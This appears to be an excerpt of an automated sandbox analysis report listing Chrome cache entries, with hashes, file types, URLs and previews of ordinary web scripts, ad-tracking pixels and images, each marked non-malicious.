URL:	https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZGFfZmJkYTMxNmI0YTE5MjYxMzc5ZDYxMWUxMjQzNDdiN2NlOWE0YzI1Nzc3ZjQ0NDY2NzVjZWM0ZWQwNThkZDNhMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	..g......b......

Chrome Cache Entry: 432

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16545)
Category:	downloaded
Size (bytes):	26028
Entropy (8bit):	5.122368948706005
Encrypted:	false
SSDEEP:	768:34hvl2qRhHiuIMaU2AO2fTt14Bo9kmosGJuCslcq+PE/S0AjGMyxlYyskgNO3NEb:DTYkmpluPEa0AipxlBT8
MD5:	C167CC2C7C7EC850A0A7092688FF129D
SHA1:	7D4E39EECA3CE2AE523CD0888C53EEAD24369CA6
SHA-256:	A11EA647F95A0F0AFED52714B759929C5C8CBFD789A4F1B6B55D7D75A46433E3
SHA-512:	AB3C82EADC889D0112DD80B9C19345FDD5654BD6726789D743DF940A40813638F1F4EE93F6D32A495C9CD9CAA1CC095C3FC83C407331A935D7126E75574BBFC0
Malicious:	false
Reputation:	low
URL:	https://players.brightcove.net/videojs-bc-playlist-ui/5.1.1/videojs-bc-playlist-ui.min.js
Preview:	/! @name @brightcove/videojs-bc-playlist-ui @version 5.1.1 @license UNLICENSED /.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("video.js"),require("@brightcove/loscore")):"function"==typeof define&&define.amd?define(["video.js","@brightcove/loscore"],e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).videojsBcPlaylistUi=e(t.videojs,t.videojs.bc_)}(this,(function(t,e){"use strict";function s(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var i=s(t),n=s(e);let l=t=>{const e=t.playlist.autoadvance_;e.timeout&&t.clearTimeout(e.timeout),e.trigger&&t.off("ended",e.trigger),e.timeout=null,e.trigger=null};const a=(t,e)=>{var s;(l(t),"number"==typeof(s=e)&&!isNaN(s)&&s>=0&&s<1/0)?(t.playlist.autoadvance_.delay=e,t.playlist.autoadvance_.trigger=function(){const s=()=>a(t,e);t.one("play",s),t.playlist.autoadvance_.timeout=t.setTimeout((()=>{l(t),t.off("play",s),t.playlist.next()}),1e3*e)},t.one("ended",t.playlist.autoadvance_.tr

Chrome Cache Entry: 434

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2131), with no line terminators
Category:	downloaded
Size (bytes):	2133
Entropy (8bit):	5.224475914038371
Encrypted:	false
SSDEEP:	48:lD582vQjIJCQj/bJCXlUr3FHEyElMEBvWlv7LTVUGRDP4h3kGAOzwHGBHsE+LsY7:mIoQHoGrVHE3mE+v73VB9Pf1w/57Y
MD5:	830867AAAFB0A3EF3AB2612A25B6A199
SHA1:	FF483C2631361611AD5BA346EAD11E5C5CDE4C01
SHA-256:	3664C38E377FBE3CE1FF49BFA91A1D613A794665F4D5FFC5022656CDD77A2986
SHA-512:	81F1874812EF09BEAEC09CA49B10663B2347D182515575DCEEDCE97E6961EF7D5C3C3B2EB72D8DF2AF36616F7339F790E1A1A26A84051C2D74159220DE79D6B1
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-18.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[18],{11:function(e,o,l){var t=l(36);e.exports=function(){var e=AolHelpGlobals.content.host+"/"+AolHelpGlobals.content.alert.replace("{brand_id}",AolHelpGlobals.brandId),o=AolHelpGlobals.product&&AolHelpGlobals.product.sku\|\|"",l={global:{url:e.replace("{sku}","homepage-alert"),show:"y"!==AolHelpGlobals.getCookie("helpalertg"),cookieName:"helpalertg"},product:{url:e.replace("{sku}",o),show:"y"!==AolHelpGlobals.getCookie("helpalertp"),cookieName:"helpalertp"}};function a(e,o,a){$(t(a)).appendTo("#alerts"),$("#alerts").show(),$("#alerts-close").click((function(t){$("#alerts").slideUp("fast"),e&&(window.document.cookie=l.global.cookieName+"=y; path=/;"),o&&(window.document.cookie=l.product.cookieName+"=y; path=/;"),t.preventDefault()}))}$.when(l.global.show?$.ajax({dataType:"json",url:l.global.url}):null,l.product.show&&o?$.ajax({dataType:"json",url:l.product.url}):null).done((function(e,o){if(e\|\|o){var l={global:{description:e&&void 0!==

Chrome Cache Entry: 435

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (741)
Category:	downloaded
Size (bytes):	940
Entropy (8bit):	5.436036467815761
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVIKopSxUNbrT4B9c2RSS+tEIKj:2e2C6lIYsgoBi732
MD5:	2E2ECBE133EFC6201B3B2EC700443E76
SHA1:	015E3DC387767FE1736A1B9E5618C803D2EF25BF
SHA-256:	94086DAC0005A81CE649C7A0A2CED91D70C819E2649429E69C566BDC7CD3480F
SHA-512:	793B2D99B48F1F7037604C7B67027722EB83A2E8BCDDEAE74A83BF258F1B78756770585858451C2872639CFD2E2A3E8A5E44FDEFC8C454D397DEA1A790FF415D
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/cm?id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://pbs.yahoo.com/setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=1690c585-1e50-4da8-8aa2-67bafb3a95db"><img src="https://pixel-sync.sitescout.com/dmp/pixelSync?nid=4&gdpr=0"><img src="https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=293039b6-fcc8-43c6-abcf-3f7949ed965a"><img src="https://ups.analytics.yahoo.com/ups/58294/sync?_origin=1&uid=018ac9c3-7fa5-4408-b209-66a5edc2a33f"><img src="https://us-u.openx.net/w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D"><img src="https://ib.adnxs.com/getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID"><img src="https://ad.turn.com/r/cs?pid=9&gdpr=0">..</body>.</html>.

Chrome Cache Entry: 436

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2080
Entropy (8bit):	7.451355916373001
Encrypted:	false
SSDEEP:	48:U1JfcEFlBsAc8ttUjJIRdlRB5UYm8ixfkT4gZ+1T8EdgqofI5csTwFvd:U1FbBsB8ttcIRLRbUFxfA4eKTbgcq3d
MD5:	EE2BB39DF9B03D451E8EECC3A0A0CDCF
SHA1:	7EA1EC1D8114366E5CC95E40F3DC9F94EE44E955
SHA-256:	983C843AF2095B18F329C1698EAB80FDEAFA57EBF29B5ECE488A9630035A038D
SHA-512:	2401B4E68B4FCA6917A550912945530B7CF5A807F87A39D50C38B9903000727810DCF0B4176173136531DF33EF960CB935AA6852B8965A7B1C461ED30338F4AB
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fht6qg4wc_Ijk8ewC5ANZqw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fbraves_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7194e9a47aee36fa884fbecaefb81f1077067a9a
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...................................................................................................................................................................................................................Hq.............Hq......................Hr...............................Hr....Hr.......Hr.Hr.Hr.....A.'O.'O.'O..A..A.&O8#L.&N..B..Bm.H..Bu.H..C;"LIYx.....AP J....D&%M!4Y....C+$M6Gi.&N.@cH!K..A..G2CfE!K.....E... 3Yp.H %N..F..Gr.H..E,>a..Cv.H2#M.)Q.,Sy....F..D.....B5#L..Cao.W.J@"L..D.........<Mn..B...y.G..F)<`'9_..E$7\9Jl...P_\|...R J($M....1W..........D^.Iw....B........U...Z.J...Vd....\|.....fs.g.I....D..FBRr...-$Mc.I..C...@Pq..E..EV.J.$M......ly.%8].,S#%NO^\|...[.J....(P.....jw.......ETt...{.G...M\z...s..B!K...\|.G.....E...]k..../$Mhu.q}.Zh.HWv...F......htRNS............Q..Kf.....n.=y..)$..'i.B.....9.....!.....ak..6.{....+..l5e....%.pr._.?..}..T.[.G..@...p"`........gIDAT....uX.....O.L:NJ...Pl.3....}....#.a....0j.....g..>/..18...

Chrome Cache Entry: 437

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	7.598064592915727
Encrypted:	false
SSDEEP:	48:73S8LXSd33Oi+yllDrcbpwStx50M4mNy9Bj:DSwXiHIyld4Vwox+J
MD5:	7E2AA38B0EF33DE2D3305680F77B2C37
SHA1:	4A1BBCC0E7B4D3763FF02DBB3EC6B06B91729FDE
SHA-256:	44ABBB607813E6D90AF03E0B3875D8A8B0BFD83423D79027133822CCE0546760
SHA-512:	7B74CA21BF4984EA4F34BDCBE5B8DC122C7385FEF82D5FA5AAB97CCCF5343A6DBF5E9F829D285DBCA4D0A65EBD410DE57555CB6C7A1001770CDEA9BADF62E709
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL........................................................................................................................................[.................[..[..[..............[..[.........................[..[.........................[.I...............&3.2c..!..%.......0\Su...!.$2f.?..")S{[\|..3dP+F.1b.9h.5e.=k..-.$3..(>d.....Bo.....^.CpYC../..&../. 0.....#.2a./X....+..%i...,[...Il....f..;b.Ch.t....._~.Gk..:ip.....{'6..)..#e)?...>,L."1.$2m.<..0.....R&.U..'.Ju..%.&5.'5Im._)A{.....M+G1Z....C K...y.8.1^ X...-V}&Pz.0`...E,J...l(<...&4.....)..-..)...0[5#P...6-O.&3u(9.0_b.@..2.%RK.H...U.E..5('U.....Oq....U)E....HsH+I.>l.7g...Or......3?[z.x.....k(=="Ms.:..'~.6........#N.G.&Fz....Y.DxN`.1`..+...@LWx.TEo(;..-..Z..,o..NB_]>X!Mw...8_.....}..n.Z$C.Er..$....UtRNS..p..\|....0g..=[O.....r..7.:"R.d..]..&..a..IaFlB...%............w3.......ZW'+....`......IDAT.....P......-......k..?iI.!..ww....Rw...sw...]vcw.x..p.3..&.v..'L....'....j.p..Xt..

Chrome Cache Entry: 438

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 970 x 250, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	111985
Entropy (8bit):	7.991458970316218
Encrypted:	true
SSDEEP:	1536:s3Hk6mvDQAqOf9LmgTTPVJP3UB3qv6P+wKmy/+9BnuI9xkqkWdEJzWx/+RG:s3EpvcOf5m2TbMBHGMk+ruI9SK/QG
MD5:	BE5C0A42C12DEE6D19B9F13E5185B97A
SHA1:	951E51B32CCC3E9711E0E3575CBD36D15C03AD24
SHA-256:	D39EC7E404193D7EDEE7EEF2B3B55EE0B48DAC5847CBE551C94F493445E3478A
SHA-512:	B59395EBCA47115623DF161CDA6A73E3088431C6B065991F7881A37C031152A4D32D816683AD8EC239C18FBC69C1FDFA8664295760A0283FDC402AE009987050
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............y.......gAMA......a....IiCCPsRGB IEC61966-2.1..H..SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O.

Chrome Cache Entry: 439

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1900)
Category:	downloaded
Size (bytes):	408463
Entropy (8bit):	5.526010130392721
Encrypted:	false
SSDEEP:	3072:ylJ+IubpmGZvehUuJyBLYl+khCZCc0I3jOdGCXFUk2JRTCYnlc71H2twiVZ8DKVG:kJwpkABElV8ZFg4lchHuwiVZdV0dl
MD5:	F28932EA4F300B603223470CFA68D237
SHA1:	33A830C1ED066C2FB92F756C2E4172141B42EC28
SHA-256:	4B2C8B6E7978DB1A1BA167674DDB400A9168C48D9DE88016FA0CD5FF9FBE720C
SHA-512:	B8C0C5BCB7EECFCFBB9ACB6B7FD84AB35D861FF4EBA62D4EFCABEC218BC5F26531F6CB01F744EB90B72ABD99751D79EC655D084E454647981841808B10D28A21
Malicious:	false
Reputation:	low
URL:	https://imasdk.googleapis.com/js/sdkloader/ima3.js
Preview:	// Copyright 2011 Google Inc. All Rights Reserved..(function(){var l,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),r=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.r("Symbol",function(a){if(a)return a;var b=function(f,g){this.g=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.g};var c="jscomp_sy

Chrome Cache Entry: 441

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://um.simpli.fi/pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 442

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	995
Entropy (8bit):	5.024079047732787
Encrypted:	false
SSDEEP:	24:tCb8EAunXWVmYyDgHi3eCbBLuHAc9XWVmYyDgHi3eCbFmhuHxNNcGQCGLtGlTA:/KgmrRRFLqgmrRRDHtQFL0y
MD5:	413309CDBAF0C1BE85AE97D75A1086DA
SHA1:	CB0C32F3C1D9BCAF588A4A82B6BEDA201F52A5DB
SHA-256:	C3AC34CD70DD446E8BF64E6CFDDF2841612C440C7AEB3B734B5DD2ECAAA06283
SHA-512:	4A90DEA5397C016A2A1C12FF3C8492D98952B1B2BF3DB7E4A263EB19346FA2532EFE6206B1F1EF83EB10D0849A6AA421E8DFB6F5893DF0C4AAFC35385A101FB9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/images/weather/small/27-mostly-cloudy-night.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M46 25.2308C46 33.6923 39.2308 40.4615 30.7692 40.4615H11.3077C6.23077 40.4615 2 36.2308 2 31.1538C2 26.0769 6.23077 21.8462 11.3077 21.8462C12.8308 21.8462 14.3538 22.1846 15.7077 23.0308C16.8923 15.5846 23.1538 10 30.7692 10C39.2308 10 46 16.7692 46 25.2308Z" fill="url(#paint0_linear_104_535)"/>.<path d="M46 25.2308C46 33.6923 39.2308 40.4615 30.7692 40.4615H11.3077C6.23077 40.4615 2 36.2308 2 31.1538C2 26.0769 6.23077 21.8462 11.3077 21.8462C12.8308 21.8462 14.3538 22.1846 15.7077 23.0308C16.8923 15.5846 23.1538 10 30.7692 10C39.2308 10 46 16.7692 46 25.2308Z" fill="#7DCBFF" fill-opacity="0.05"/>.<defs>.<linearGradient id="paint0_linear_104_535" x1="51.9852" y1="40.4615" x2="51.9852" y2="10.4116" gradientUnits="userSpaceOnUse">.<stop stop-color="#B5BDC8"/>.<stop offset="0.210436" stop-color="#C7CDD2"/>.<stop offset="1" stop-color="#E5EBEF"/>.</linearGradient>.</defs>.</svg>.

Chrome Cache Entry: 443

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.496574330097901
Encrypted:	false
SSDEEP:	3:C/2A3njBWk9JyiA:C/nXjB7A
MD5:	1B177A4068E01AC77B85B091C87251BD
SHA1:	EA7A08A7C139D4A7512B6BAAB5AAC4A3E288B255
SHA-256:	F77F47058428A1C21DAD5A75AC13FBFDEB9858947218FEE2112FDED5972A0B5D
SHA-512:	6E6D693775AA9C94540D0CA0549C98446048189D49A3716895F62C3EFE3893F0B28FEDACDCD46394782B7972D0B981E87EA291E76EF2490258FCABA2A0906D92
Malicious:	false
Reputation:	low
URL:	https://gum.criteo.com/sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId
Preview:	window.advBidxc.mnetRtusId({"status":"Unknown","userid":""});

Chrome Cache Entry: 444

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=27&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727742&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=25&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=13&ns_st_asq=13&ns_st_sq=13&ns_st_po=3256&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=6744&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3256&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=23&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=3256&ns_st_dap=0&ns_st_et=10608&ns_st_det=23&ns_st_upc=3256&ns_st_dupc=0&ns_st_upa=3256&ns_st_dupa=0&ns_st_lpc=3256&ns_st_dlpc=0&ns_st_lpa=3256&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=12&ns_st_pp=12&ns_st_pa=3256&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 445

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	262080
Entropy (8bit):	7.999386952380113
Encrypted:	true
SSDEEP:	6144:uSlppihDGIhjRuEK2F9rQXsyJomVS27UEsMQTu+4NwYZF4D:uS7qDGo9bK2F9MNzk3BT4Nw6Fo
MD5:	1E8F12A32DAEB19EC3B6E0321A829865
SHA1:	72BC99D9B636F7AF6325BA303FD8E28BEB715735
SHA-256:	AFC13D86458762B5364778492BE80C07B8095E861CDD89F9E72F488FE2324907
SHA-512:	5A7B76C5F8E0B95D838F097C00719060D91C9460DA3EA72E2E20CB00D7E50CD67095E38135CF5A46CA48B3493B8D7756336898FD9166C3429A0B176AB332A50C
Malicious:	false
Reputation:	low
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>............-o..V.%.C4.....:...C.2D.&..^N.y.O..;..........$........O...P........9......n.T_...c...sg.\|...\|...0.B.2..R....ms.=.$.=..g..]Ic....+..Q@n..a/%@l..9.Mws..D.)......a....F..^....KZQ..p...R.-...>.Z....r...m..X.w.0"w{z..ch..\|...[.y...BZ..9.oi........h.{./.;Cf]...0..wF..B^..Dm.[E....0.R.$.2t...w..:..I...H..I _.ER.a.2..+..h.4H.0>9.fr.L...=j.I......N._l.!....a.Qw.f.$.C./..T2.....j..b....;..r......LI64bc.Sm.8.H..........#.o.E....r?....9.W.....]5.U....).f...T...PC...va...;.4s4."86....Zb/.L]..Hz......X ?u.4..$W.....".c.x.eOD.$f......b\H.....53c.,.....h.....- ..P..4..}.5....-a.E...v.]..$.U.Mz..%.7#%..41....7y.c.).........d..2..R...'...........d..0E.....DH......Y......K.....\' ..s....:M.....o....._C.....r.@..Yy..:{..:..n......Od..Ol.J./.n^.'&.....W.....\|..~:...F,7.^

Chrome Cache Entry: 446

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1260), with no line terminators
Category:	downloaded
Size (bytes):	1260
Entropy (8bit):	5.514710371787026
Encrypted:	false
SSDEEP:	24:jnq1pKcRA6b29BhoMbwuPsz21MjNG/mAzKIXLso1MTaM/USKC3lg:jyI6beBDbvPWjN2mAeSsoqTjTK8q
MD5:	F7CA048BF5CAA1926EE1F8504AC8C80D
SHA1:	F4C16935ED6BE0CF8E1C00B10E39AA8C5ECEC19B
SHA-256:	96C8C9B6CF660475D69ADE76C8372D0B4D6CC7D406D28CA77A66C4DDC47D062E
SHA-512:	E2FF46C32DA1201F00691B3EE7D7EF7AE24E6EAB44C37F38645546FEF3E3972FCF7151D63941609094C1944639C501698A57CC352B56F48D054A01E151F26EA5
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=9886857&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncIframePixel('https://ad.mrtnsvr.com/sync/pubmatic?gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://match.adsby.bidtheatre.com/pubmaticmatch?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://d5p.de17a.com/getuid/pubmatic?https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3NDUmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=$UID');PubMatic.loadAsyncIframePixel('https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://a.tribalfusion.com/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}');PubMatic.loadAsyncIframePixel('https://green.erne.co/pubmatic/cm?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync.1rx.io/usersync2/pubmatic&gdp

Chrome Cache Entry: 447

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
